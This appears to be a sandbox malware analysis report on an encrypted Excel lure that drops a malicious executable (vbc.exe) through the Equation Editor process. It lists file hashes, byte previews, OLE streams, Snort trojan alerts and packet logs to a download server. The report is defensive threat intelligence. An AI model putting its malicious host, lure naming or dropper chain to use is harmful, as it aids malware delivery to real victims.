File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F85899C8.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50311
Entropy (8bit):	7.960958863022709
Encrypted:	false
SSDEEP:	768:hfo72tRlBZeeRugjj8yooVAK92SYAD0PSsX35SVFN0t3HcoNz8WEK6Hm8bbxXVGx:hf0WBueSoVAKxLD06w35SEVNz8im0AEH
MD5:	4141C7515CE64FED13BE6D2BA33299AA
SHA1:	B290F533537A734B7030CE1269AC8C5398754194
SHA-256:	F6B0FE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
SHA-512:	74E9927BF0C6F8CB9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD88
Malicious:	false
Preview:	.PNG........IHDR.......].......^....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............oFFs.......F.#-nT....pHYs...%...%.IR$.....vpAg.......0...O.....IDATx...h.w....V!...D.........4.p .X(r..x.&..K.(.L...P..d5.R......b.......C...BP...,% ....qL.,.!E.ni..t......H._......G..\|~=.....<..#.J!.N.a..a.Q.V...t:.M.v;=..0.s..ixa...0..<...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..qM../.u....h6..\|.22..g4M.........C.u..y,--..'....a.?~.W.\i.>7q.j..y....iLNN.....5\..w"..b~~...J.sssm.d.Y.u.G....s.\..R.`qq.....C;..$..&..2..x..J..fgg...]=g.Y.y..N..(SN.S8.eZ.T...=....4.?~..uK.;....SSS...iY.Q.n.I.u\.x..o.,.av.N.(..H..B..X......... ..amm...h4.t:..].j..tz[.(..#..}yy./..".z.-[!4....a...jj......,dY.7.\|.F.....\.~.g.....x..Y...R..\.....w.\.h..K....h..nM

C:\Users\user\Desktop\~$CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	862208
Entropy (8bit):	7.675531100401405
Encrypted:	false
SSDEEP:	24576:PquPHpdPsaTH7ZSFSFYeUtKckniLXBlVm:P5TdSTk63
MD5:	FF34B92FE897F13E422B67F5CBC9740C
SHA1:	B145BDA9579274C1648829DF1E37E9500976E271
SHA-256:	1BB79D3F58130C38C2D1C54737AAA69BFDF5693CF6177EFAAC78377020B86AD6
SHA-512:	3CCA2A62EB4129574ACD423DAD2DEA916286189E6F7AB1DA5EADAB1B773E55524DD2584EB24CC08147F006F9F3D1F6AA00D406787B398F79D0A5D5C6D0FA0614
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`.............................:... ........@.. ....................................@.................................h:..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B.................:......H.....................................................................z+.&.+.&.(....(....(.....o......0..........+.&.+.&.+.&..+2..(....8....&.(....,..+..+.-.8......(....+..8l....E........................I.......^.....,..+..+.-.&..(.....+...(....(....(....,..+..+.-.&.(....,..+..+.-.&+..+...(....+.&8s....8}...f+.&.+.&..(....(....(....f+.&.+.&..(....(....(....+.&.+.&..+.&.+.&..B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....*>+.&.+.&

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.995904689574195
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx
File size:	1434624
MD5:	2e75248bf9decdb8d02c9e69ac261a61
SHA1:	45f584d63706026e963cbb5b7242a4bc130efee7
SHA256:	5e9b6256c2adafe03e928b0afe98328a3d77c69c6f924d2608e9daf131063d9f
SHA512:	1aad2d5d408937288188f41b4a07af5300682f3858117fafad575878375a40a3d80387991e950e7f21b612981ad40f59f90ba53bfbac13f38c2926b73b0aa457
SSDEEP:	24576:Dhdcuk5Up3V1AIHxSD1X4i9KDTw7nL8swHmHvag8C8X7xKwzNs67ZA:Db0sa+xSerUjLPwHmP98Ft/ze
File Content Preview:	........................>.......................................................................................................\|.......~...............z.......\|..............................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 1419720

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	1419720
Entropy:	7.99983938788
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . ; . . Z x . # . . . T . . . . . ' . . . . ! v . . . . V b . = . . . ( . 3 q . o . . . H . 0 4 . . . . . . . . . . . Q i . j . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 . , Q . + . . . . . . . . . . 5 .
Data Raw:	bd a9 15 00 00 00 00 00 d1 3b d6 19 5a 78 7f 23 1f c0 e5 54 08 81 1f df 01 27 07 c2 95 da 21 76 bb 80 fa eb 56 62 c8 3d c8 04 9a 28 e1 33 71 ae 6f d6 f8 ad 48 be 30 34 03 e8 fb 20 85 1b fa eb 9d e5 dc e6 51 69 f4 6a f9 b9 d9 12 a4 a8 35 c1 2c 51 d9 2b d2 9a fe f2 f9 b9 d9 12 a4 a8 35 c1 2c 51 d9 2b d2 9a fe f2 f9 b9 d9 12 a4 a8 35 c1 2c 51 d9 2b d2 9a fe f2 f9 b9 d9 12 a4 a8 35 c1

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.57556116313
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . W 5 . . T . . . . . . . . = 5 . . . . K . . q . ' . . D 1 . . . . . . . . S . . . . J . . . \| 4 : J 2 . . . ' . . . . . . . . . . j .
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/16/21-11:55:51.393868	TCP	2022550	ET TROJAN Possible Malicious Macro DL EXE Feb 2016	49167	80	192.168.2.22	103.155.82.236
06/16/21-11:57:06.455310	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49168	34.102.136.180	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 11:55:51.139431000 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.390821934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.393531084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.393867970 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.645781994 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.645848989 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.645891905 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.645931005 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.646071911 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.646121979 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.896787882 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.896835089 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.896883011 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.896897078 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.896925926 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.896938086 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.896946907 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.896966934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.896995068 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.897006989 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.897031069 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.897056103 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.897083044 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.897093058 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:51.897134066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:51.897151947 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.147998095 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148087025 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148145914 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148190975 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148228884 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148268938 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148310900 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148350954 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148354053 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148389101 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148436069 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148437977 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148468018 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148473024 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148477077 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148478031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148502111 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148507118 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148511887 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148516893 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148539066 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148556948 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148580074 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148600101 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148638010 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148674011 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148677111 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.148706913 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148715019 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.148742914 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.152482986 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399557114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399593115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399616957 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399640083 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399658918 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399674892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399686098 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399709940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399717093 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399723053 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399734020 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399753094 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399753094 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399776936 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399784088 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399801016 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399804115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399828911 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399842024 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399852991 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399858952 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399873972 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399874926 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399899006 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399910927 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399920940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399930954 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399943113 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399957895 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399966002 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.399985075 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.399996042 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400002003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400027990 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400058031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400060892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400073051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400082111 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400105000 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400116920 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400127888 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400141001 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400152922 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400175095 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400197029 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400201082 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400214911 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400221109 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400223017 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400238037 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400247097 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400269985 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400280952 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400294065 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400295973 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400315046 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.400332928 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400341988 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.400368929 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.404144049 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651201963 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651252031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651290894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651329041 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651366949 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651413918 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651458979 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651499033 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651520967 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651537895 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651551008 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651556015 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651576996 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651578903 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651616096 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651623964 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651637077 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651654959 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651693106 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651695013 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651704073 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651740074 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651758909 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651784897 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651806116 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651820898 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651849031 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651860952 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651890039 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651906967 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651928902 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651943922 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.651963949 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.651985884 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.652002096 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.652023077 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.652038097 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.652070999 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.652101040 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.652112961 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.652120113 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.652153969 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.652183056 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.652208090 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.654958010 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655009031 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655103922 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655116081 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:52.655164957 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:52.655208111 CEST	80	49167	103.155.82.236	192.168.2.22
